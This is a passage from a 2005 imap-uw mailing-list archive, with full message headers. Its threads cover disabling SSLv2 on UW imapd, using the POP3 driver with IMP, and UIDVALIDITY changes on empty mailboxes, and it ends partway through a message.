id j61EDSdQ027503 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 1 Jul 2005 07:13:28 -0700 Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j61EDFZc000433 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Fri, 1 Jul 2005 07:13:28 -0700 Date: Fri, 1 Jul 2005 07:13:14 -0700 (PDT) From: Mark Crispin To: Andrew Voltmer Subject: Re: [Imap-uw] Disable SSL v2 In-Reply-To: <42C4C7BE.6060708@ninevolt.com> Message-ID: References: <42C4C7BE.6060708@ninevolt.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 30 Jun 2005, Andrew Voltmer wrote: > I am looking for a solution to a security issue related to the WU-IMAP > server. I have a security scanning tool that is reporting that my imapd > daemon is doing SSL v2 over 993 on my IMAP server. It suggests that I need to > disable SSL v2 to prevent any issues related to SSL v2 vulnerabilites. I know > this was a major issue with Apache and ISS servers that did SSL v2 support so > I assume it may also be an issue in an IMAP environment. Does anyone know a > way to disable SSL v2 support in the WU-IMAP server? Thanks. I don't know what these "issues related to SSL v2 vulnerabilities" are; thus I can not comment intelligently on whether or not it affects IMAP in any way. Are you building UW (not WU) imapd with the latest version of OpenSSL? SSL IMAP on port 993 is defined to use the SSLv23 method, and the STARTTLS command on port 143 is defined to use the TLSv1 method. Changing to some other method can break interoperability between clients and servers. There have been interoperability problems with clients that incorrectly chose SSLv23 instead of TLSv1 when doing TLS on port 143. If you really need to disable SSL v2, then it may be that the best thing is simply to disable port 993 service and require that everybody use port 143 and STARTTLS. This has the additional desirable side effect of breaking clients that do SSL but not TLS, thus forcing your users to use good TLS-capable IMAP clients such as Pine. :-) -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Jul 1 08:11:42 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 1 Jul 2005 08:11:42 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j61FBgZI029767 for ; Fri, 1 Jul 2005 08:11:42 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j61FBfHF026252 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 1 Jul 2005 08:11:41 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j61FBFM7004081; Fri, 1 Jul 2005 08:11:15 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j61FAfDY003550 for ; Fri, 1 Jul 2005 08:10:41 -0700 Received: from quixote.unet.brandeis.edu (quixote.unet.brandeis.edu [129.64.99.99]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j61FAekN026439 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 1 Jul 2005 08:10:41 -0700 Received: from quixote.unet.brandeis.edu (localhost.localdomain [127.0.0.1]) by quixote.unet.brandeis.edu (8.12.11/8.12.11) with ESMTP id j61FAext018430 for ; Fri, 1 Jul 2005 11:10:40 -0400 Received: from localhost (rcgraves@localhost) by quixote.unet.brandeis.edu (8.12.11/8.12.11/Submit) with ESMTP id j61FAeIC018426 for ; Fri, 1 Jul 2005 11:10:40 -0400 X-Authentication-Warning: quixote.unet.brandeis.edu: rcgraves owned process doing -bs Date: Fri, 1 Jul 2005 11:10:40 -0400 (EDT) From: Rich Graves X-X-Sender: rcgraves@quixote.unet.brandeis.edu To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] Disable SSL v2 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu There are reasons that SSL went to v3 (and SSH to v2, Kerberos to v5, etc). Most are probably of only theoretical interest, but in a very high security environment, it's valid to worry about such things. Personally and for the Brandeis production servers, I currently don't. You can disable SSLv2 or specific crypto algorithms at OpenSSL build time. I don't know if it's possible to do it at link or run time. If he's on a platform where he's compiling everything from source anyway, Andrew should read through the OpenSSL docs and configure OpenSSL appropriately. If he's using vendor binaries of *anything* and recompiling basic packages would be a hassle, then he should read enough about crypto to tell auditors that he's made an informed decision. Clients that support both v2 and v3 will always use v3, so the fact that the server supports v2 is only an issue if you're worried about fairly determined man-in-the-middle attackers. For best security, as Mark said, use TLS on 143, but your choice of IMAP clients will be limited. -- Rich Graves UNet Systems Administrator _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Jul 1 09:12:24 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 1 Jul 2005 09:12:24 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j61GCNR2000606 for ; Fri, 1 Jul 2005 09:12:23 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j61GCNqd029941 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 1 Jul 2005 09:12:23 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j61GC2rW016524; Fri, 1 Jul 2005 09:12:02 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j61GC0H6016516 for ; Fri, 1 Jul 2005 09:12:00 -0700 Received: from mail.distal.com (pcp04365944pcs.nrockv01.md.comcast.net [69.140.200.59]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j61GBx6h002335 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 1 Jul 2005 09:12:00 -0700 Received: from [IPv6:2001:408:1010:20:230:65ff:fe50:82a] (magrathea.distal.com [IPv6:2001:408:1010:20:230:65ff:fe50:82a]) by mail.distal.com (8.13.3/8.13.3) with ESMTP id j61GBwgo026240; Fri, 1 Jul 2005 12:11:58 -0400 (EDT) In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v622) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <30fc2b9890bff56ef05a369bd19f2466@fullmesh.net> Content-Transfer-Encoding: 7bit From: Chris Ross Subject: Re: [Imap-uw] Disable SSL v2 Date: Fri, 1 Jul 2005 12:12:52 -0400 To: Rich Graves X-Mailer: Apple Mail (2.622) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT_APPLEMAIL 0, __X_MAILER_APPLEMAIL 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Jul 1, 2005, at 11:10, Rich Graves wrote: > There are reasons that SSL went to v3 (and SSH to v2, Kerberos to v5, > etc). > Most are probably of only theoretical interest, but in a very high > security > environment, it's valid to worry about such things. Personally and for > the > Brandeis production servers, I currently don't. > > You can disable SSLv2 or specific crypto algorithms at OpenSSL build > time. > I don't know if it's possible to do it at link or run time. From looking at the documentation for mutt, it appears you can disable sslv2, sslv3 and tlsv1 each independently. So, from that I assume it's possible to do at runtime... - Chris _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun Jul 17 02:20:07 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 17 Jul 2005 02:20:07 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6H9K7fh015809 for ; Sun, 17 Jul 2005 02:20:07 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6H9K647012504 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 17 Jul 2005 02:20:06 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6H9JduH022685; Sun, 17 Jul 2005 02:19:39 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6H9JdZk022677 for ; Sun, 17 Jul 2005 02:19:39 -0700 Received: from orinno.com ([221.2.162.16]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with SMTP id j6H9JZKB019123 for ; Sun, 17 Jul 2005 02:19:37 -0700 Received: Sun, 17 Jul 2005 17:17:19 +0800 From: To: Date: Sun, 17 Jul 2005 17:17:15 +0800 Message-ID: <008501c58ab0$53001a40$2f0110ac@ORINNO.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.4024 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Importance: Normal In-Reply-To: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_MSMAIL_PRI 0, __HAS_X_MAILER 0, __HAS_X_PRIORITY 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] How to use pop3 driver for UW imapd X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi all, I am a developer who are considering using the pop3 driver for my UW imapd. I already have a pop3 server running on my machine. So I installed Imp and UW imapd (only mail_link() in pop3 driver in LINKAGE.C), but I couldn't get it work. I tried to login from the IMP using the username and password for the pop3 account on the local machine, but the IMP always send the following imap commands to imapd: cmdbuf = 00000000 LOGIN yin 111 cmdbuf = 00000001 LIST "" "" cmdbuf = 00000002 LOGOUT cmdbuf = 00000000 LOGIN yin 111 cmdbuf = 00000001 SELECT INBOX cmdbuf = 00000002 LIST "" mail/* cmdbuf = 00000003 UID SORT (ARRIVAL) US-ASCII ALL cmdbuf = 00000004 STATUS INBOX (MESSAGES) cmdbuf = 00000005 SEARCH ALL UNSEEN cmdbuf = 00000006 LOGOUT The mailbox name "INBOX" is not valid for a network mailbox name for pop3 driver, so it can't pass the function pop3_valid. What should I do to make IMP send network mailbox name like {hostname:110/pop3/user=yin/authuser=yin}INBOX, rather than only "INBOX"? Or, to make it simply, just how to make the pop3 driver work for me? Your help will be greatly appreciated! Yin Zhou Orinno Software Co., Ltd. yin_zhou@orinno.com _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun Jul 17 11:33:24 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 17 Jul 2005 11:33:24 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6HIXN5p012557 for ; Sun, 17 Jul 2005 11:33:23 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6HIXMg3025462 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 17 Jul 2005 11:33:23 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6HIX0CM029588; Sun, 17 Jul 2005 11:33:00 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6HIX0jG029580 for ; Sun, 17 Jul 2005 11:33:00 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6HIWxr0013321 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sun, 17 Jul 2005 11:32:59 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6HIWuSQ013723 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 17 Jul 2005 11:32:56 -0700 Received: from Shimo-Tomobiki.panda.com (pool.dsl.178.139.cvinternet.net [209.161.178.139]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6HIWsnx024192 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Sun, 17 Jul 2005 11:32:55 -0700 Date: Sun, 17 Jul 2005 10:32:53 -0800 From: Mark Crispin To: yin_zhou@orinno.com Subject: Re: [Imap-uw] How to use pop3 driver for UW imapd In-Reply-To: <008501c58ab0$53001a40$2f0110ac@ORINNO.com> Message-ID: References: <008501c58ab0$53001a40$2f0110ac@ORINNO.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Sun, 17 Jul 2005, yin_zhou@orinno.com wrote: > I am a developer who are considering using the pop3 driver for my > UW imapd. I already have a pop3 server running on my machine. > So I installed Imp and UW imapd (only mail_link() in pop3 driver in > LINKAGE.C), but I couldn't > get it work. I'm not surprised. The LINKAGE.C mechanism is magic, and does not work in the way that you believe. You should not tamper with LINKAGE.C unless you completely understand all the implications of doing so. > I tried to login from the IMP using the username and password for the > pop3 account on the local machine, but the IMP always send the following > imap commands to imapd: You need to discuss this with the developers of IMP. It appears that IMP is not intended to work with an IMAP-to-POP proxy. Nor, for that matter, is an IMAP-to-POP proxy very useful for most users (maybe 99.999%). Only a few users use proxies, and most of these users use POP-to-IMAP proxies. After you put a lot of work into IMP to make it work with an IMAP-to-POP proxy, you will find that it will probably perform very poorly. > The mailbox name "INBOX" is not valid for a network mailbox name for > pop3 driver, so it can't pass the function pop3_valid. What should I do > to make IMP send network mailbox name like > {hostname:110/pop3/user=yin/authuser=yin}INBOX, rather than only > "INBOX"? You have to discuss that with the developers of IMP. > Or, to make it simply, just how to make the pop3 driver work for me? Unfortunately, it is not a simple question. The POP3 driver is working. The thing that is not working is your expectations. I don't think that your project makes much sense. I doubt that there is any demand (or need) for a modified version of IMP that works with an IMAP-to-POP proxy; nor would such a program work well. There are webmail servers that work directly with POP servers (maybe even IMP can work this way) without involving an IMAP-to-POP proxy. It is certainly possible, from a technical perspective, to make it work. The work that you need to do is in IMP, not imapd. But I believe that you would be very disappointed in the results. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Jul 18 09:07:06 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Jul 2005 09:07:05 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6IG6rbM001557 for ; Mon, 18 Jul 2005 09:06:57 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6IFpKZe003962 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 18 Jul 2005 08:51:21 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6IFp67P020933; Mon, 18 Jul 2005 08:51:06 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6IFp5KC020925 for ; Mon, 18 Jul 2005 08:51:05 -0700 Received: from out3.smtp.messagingengine.com (out3.smtp.messagingengine.com [66.111.4.27]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6IFp4ed018184 for ; Mon, 18 Jul 2005 08:51:05 -0700 Received: from frontend3.messagingengine.com (frontend3.internal [10.202.2.152]) by frontend1.messagingengine.com (Postfix) with ESMTP id DF6BCCC18BA for ; Mon, 18 Jul 2005 11:51:03 -0400 (EDT) X-Sasl-enc: 7ucsmSWm1TI2ZciOldAdVKsFAKqifUfq3jfm7Pvmq5H3 1121701863 Received: from [127.0.0.1] (unknown [66.39.168.250]) by frontend3.messagingengine.com (Postfix) with ESMTP id BE01C1E1 for ; Mon, 18 Jul 2005 11:51:03 -0400 (EDT) Message-ID: <42DBCFE0.9030609@xsmail.com> Date: Mon, 18 Jul 2005 08:50:56 -0700 From: Marc Blank User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] Changing UIDVALIDITY on Empty Folders X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi, all. I've noticed that on at least one server running UW-IMAP, that an empty folder (in this case Drafts), when SELECTed at various times and in various sessions, keeps returning a different UIDVALIDITY value. Is this correct behavior? Marc _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Jul 18 11:18:10 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Jul 2005 11:18:10 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6IIIA6E014300 for ; Mon, 18 Jul 2005 11:18:10 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6III9R8015571 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 18 Jul 2005 11:18:10 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6IIHtf8009450; Mon, 18 Jul 2005 11:17:55 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6IIHsv1009434 for ; Mon, 18 Jul 2005 11:17:54 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6IIHq0O005333 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 18 Jul 2005 11:17:52 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6IIHnPB032576 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 18 Jul 2005 11:17:49 -0700 Received: from Shimo-Tomobiki.panda.com (pool.dsl.178.139.cvinternet.net [209.161.178.139]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6IIHldW016741 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 18 Jul 2005 11:17:49 -0700 Date: Mon, 18 Jul 2005 10:17:46 -0800 From: Mark Crispin To: Marc Blank Subject: Re: [Imap-uw] Changing UIDVALIDITY on Empty Folders In-Reply-To: <42DBCFE0.9030609@xsmail.com> Message-ID: References: <42DBCFE0.9030609@xsmail.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 18 Jul 2005, Marc Blank wrote: > I've noticed that on at least one server running UW-IMAP, that an empty > folder (in this case Drafts), when SELECTed at various times and in various > sessions, keeps returning a different UIDVALIDITY value. Is this correct > behavior? It's permitted behavior by the IMAP specification. UW imapd does not consider it to be good behavior, but it's unavoidable. What's going on is that the file is truly empty, and thus does not have any metadata. In traditional UNIX mailbox format, the widely-derided "DO NOT DELETE" internal pseudo-message (which UW imapd, Pine, etc. hides) contains the metadata; but this upsets some people, and so they do things to prevent the pseudo-message and/or destroy it. [The issue is shell tests that treat empty files as "no mail" and non-empty files as "mail exists"] Fortunately, since the mailbox is empty, a changing UIDVALIDITY value should not overly-upset a client. The client should just say "oh well" and update its record of the UIDVALIDITY. Since, as you saw, this can be routine in some environments, it's not an event that is worth logging, much less complainig to the user. In some formats, such as UW imapd's preferred mbx, an empty mailbox is not an empty file, and thus this problem does not occur. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Jul 18 12:12:46 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Jul 2005 12:12:46 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6IJCktE019545 for ; Mon, 18 Jul 2005 12:12:46 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6IJCjkQ010500 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 18 Jul 2005 12:12:45 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6IJCLIO018321; Mon, 18 Jul 2005 12:12:21 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6IJCKhR018305 for ; Mon, 18 Jul 2005 12:12:20 -0700 Received: from out3.smtp.messagingengine.com (out3.smtp.messagingengine.com [66.111.4.27]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6IJCJnX016895 for ; Mon, 18 Jul 2005 12:12:19 -0700 Received: from frontend2.messagingengine.com (frontend2.internal [10.202.2.151]) by frontend1.messagingengine.com (Postfix) with ESMTP id 4EB99CC0D6B; Mon, 18 Jul 2005 15:12:18 -0400 (EDT) X-Sasl-enc: pU/sQcFODs6QekFolY7yXf9noh11ZUoJoJM6FjFkiKy7 1121713935 Received: from [127.0.0.1] (unknown [66.39.168.250]) by frontend2.messagingengine.com (Postfix) with ESMTP id 59A7157035A; Mon, 18 Jul 2005 15:12:14 -0400 (EDT) Message-ID: <42DBFF09.60309@xsmail.com> Date: Mon, 18 Jul 2005 12:12:09 -0700 From: Marc Blank User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mark Crispin Subject: Re: [Imap-uw] Changing UIDVALIDITY on Empty Folders References: <42DBCFE0.9030609@xsmail.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I was hoping that I could use the UIDVALIDITY in some way to identify a "unique" folder on the 